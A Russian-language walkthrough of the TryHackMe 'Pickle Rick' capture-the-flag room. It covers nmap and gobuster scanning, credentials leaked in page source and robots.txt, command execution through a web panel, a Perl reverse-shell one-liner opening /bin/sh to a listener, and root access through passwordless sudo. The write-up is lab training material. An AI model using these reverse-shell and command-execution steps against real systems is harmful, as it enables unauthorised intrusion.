Capture the Flag, CTF, TryHackMe

CTF (Capture the Flag) — Rick and Morty (Pickle Rick). TryHackMe.

Здравствуйте, дорогие друзья.

Сегодня будем проходить задание CTF, с сайта TryHackMe, которое посвящено мультсериалу Рик и Морти. Наша задача: превратить Рика обратно в человека. Что он сделал до этого, нам предстоит выяснить.

CTF состоит в поиске 3-х ингредиентов, которые размещены в отдельных полях на сайте:

CTF состоит в поиске 3-х ингредиентов, которые размещены в отдельных полях на сайте

Первое, что нам необходимо сделать – это подключиться к машине. Я буду работать в облаке, чтобы было более понятнее новичкам. К слову сказать, задание категории «Easy», но его нельзя не обойти стороной.

Для начала просканируем ip-адрес на наличие открытых портов, с помощью инструмента nmap. Команда выглядит как: sudo nmap -sV -A 10.10.154.244:

Для начала просканируем ip-адрес на наличие открытых портов, с помощью инструмента nmap.

Открытые порты я выделил для более подробного рассмотрения.

80 порт открыт, и мы можем перейти по айпи в браузере. Получаем вывод следующей страницы:

80 порт открыт, и мы можем перейти по айпи в браузере.

Сразу проверим исходный код странички. Правая клавиша мыши, и выбираем «View Page Source»:

Сразу проверим исходный код странички. Правая клавиша мыши, и выбираем «View Page Source»
Сразу проверим исходный код странички. Правая клавиша мыши, и выбираем «View Page Source»

Уже что-то нашли! Это имя пользователя: «RickRul3s», которое нам пригодится в прохождении.

Далее, я воспользуюсь инструментом gobuster, для более подробного рассмотрения сайта, на предмет дополнительных путей расположения директорий. Команда для ввода: gobuster dir -u http://10.10.154.244/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:

 gobuster dir -u http://10.10.154.244/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Далеко ходить не надо, и проверим первую директорию из списка работы сканера. Это assets/:

Далеко ходить не надо, и проверим первую директорию из списка работы сканера. Это assets/

В целом, для нас ничего интересного. Скрипты и стандартные библиотеки, такие как jquery, и bootstrap. Проверим файл «robots.txt»:

Проверим файл «robots.txt»

Похоже на пароль (сохраним его для дальнейшего развития событий).

По логике вещей, предположим, что есть страница для ввода логина и пароля. Это может быть: index.html, index.php, login.php, login.html и т.д. После некоторого времени перебора, я наткнулся на рабочую страницу «login.php»:

 После некоторого времени перебора, я наткнулся на рабочую страницу «login.php»

Имя и пароль мы обнаружили, и не будем затягивать. Пройдем авторизацию на странице:

Имя и пароль мы обнаружили, и не будем затягивать. Пройдем авторизацию на странице

Получаем вот такую панель:

Получаем вот такую панель

Идем опять же в исходники данной страницы, и получаем:

Идем опять же в исходники данной страницы, и получаем

Интересна кодировка «base64», которую я выделил для наглядности. Продолжаем дальше изучать.

Можно перейти по скриптам на php, выше в исходниках страницы, но мы попадем на картинку с небольшим описанием. Попробуем проверить страницу на наличие уязвимости «Command Execution», введя простую команду «ls»:

Интересна кодировка «base64», которую я выделил для наглядности. Продолжаем дальше изучать.  Можно перейти по скриптам на php, выше в исходниках страницы, но мы попадем на картинку с небольшим описанием. Попробуем проверить страницу на наличие уязвимости «Command Execution», введя простую команду «ls»

Отлично. Все работает. Поковыряем, где мы находимся сейчас, с помощью команды «pwd»:

Отлично. Все работает. Поковыряем, где мы находимся сейчас, с помощью команды «pwd»

В предыдущем выводе, мы получили какие-то текстовые файлы, которые нам просто необходимо открыть. Проверим одну из записей, с помощью команды «cat»:

Проверим одну из записей, с помощью команды «cat»

Сразу приходит мысль об обратном соединении, для того чтобы открыть файл на нашем хосте. Идем в гугл, и ищем готовый скрипт для reverse shell:

Идем в гугл, и ищем готовый скрипт для reverse shell

Можно выбрать любой, но мы остановимся на шелле, который написан на Perl: perl -e ‘use Socket;$i=»10.0.0.1″;$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»>&S»);open(STDOUT,»>&S»);open(STDERR,»>&S»);exec(«/bin/sh -i»);};’ Вставляем его в строку для ввода команд, и прописываем наш айпи адрес (проверить можно с помощью команды «ifconfig») и порт:

Вставляем его в строку для ввода команд, и прописываем наш айпи адрес (проверить можно с помощью команды «ifconfig») и порт

Порт я указал «4545», и прослушивать его мы будем с помощью инструмента «netcat». Команда: nc –lvp 4545.

Порт я указал «4545», и прослушивать его мы будем с помощью инструмента «netcat». Команда: nc –lvp 4545.

Отлично. Получили шелл. Сразу проверяем, под каким пользователем мы находимся. Это команда «id»:

Отлично. Получили шелл. Сразу проверяем, под каким пользователем мы находимся. Это команда «id»

Проверим содержимое текущей директории, с помощью команды «ls»:

Проверим содержимое текущей директории, с помощью команды «ls»

По новой возвращаемся к файлу «clue.txt»:

По новой возвращаемся к файлу «clue.txt»

Ничего интересного. Внимание привлекает файл «Sup3rS3cretPickl3Ingred.txt». Выводим его содержимое:

Ничего интересного. Внимание привлекает файл «Sup3rS3cretPickl3Ingred.txt». Выводим его содержимое

Похоже на первый флаг. Пробуем сдать его:

Похоже на первый флаг. Пробуем сдать его

Отлично. Первый ингредиент найден. Идем дальше, и попробуем повысить права до рута. Идем в директорию «/home», далее перейдя в директорию «rick», мы находим второй ингредиент:

перейдя в директорию «rick», мы находим второй ингредиент

Попробуем открыть этот файл. Команда: «cat “second ingredients”»:

Попробуем открыть этот файл. Команда: «cat “second ingredients”»

Пробуем сдавать второй флаг:

Пробуем сдавать второй флаг

Отлично, остался последний. Как я говорил, нужно попробовать повысить права до root. Посмотрим настройки учетных записей, с помощью команды: «sudo -l»:

Посмотрим настройки учетных записей, с помощью команды: «sudo -l»

Получаем, что пароли вообще не нужны. Такое редко встречается, но сложность соответствующая. Пробуем команду: «sudo su»:

Пробуем команду: «sudo su»

Итак, мы получили рут доступ. Переходим в директорию «/root», проверяем содержимое каталога:

Переходим в директорию «/root», проверяем содержимое каталога

Привлекает внимание третий файл «3rd.txt». Выводим содержимое файла, с помощью команды «cat»:

Привлекает внимание третий файл «3 rd.txt». Выводим содержимое файла, с помощью команды «cat

Получаем третий ингредиент. Сдаем флаг:

Получаем третий ингредиент. Сдаем флаг

Прекрасно! Мы завершили прохождение данной задачи CTF.

На этом все. Всем хорошего дня!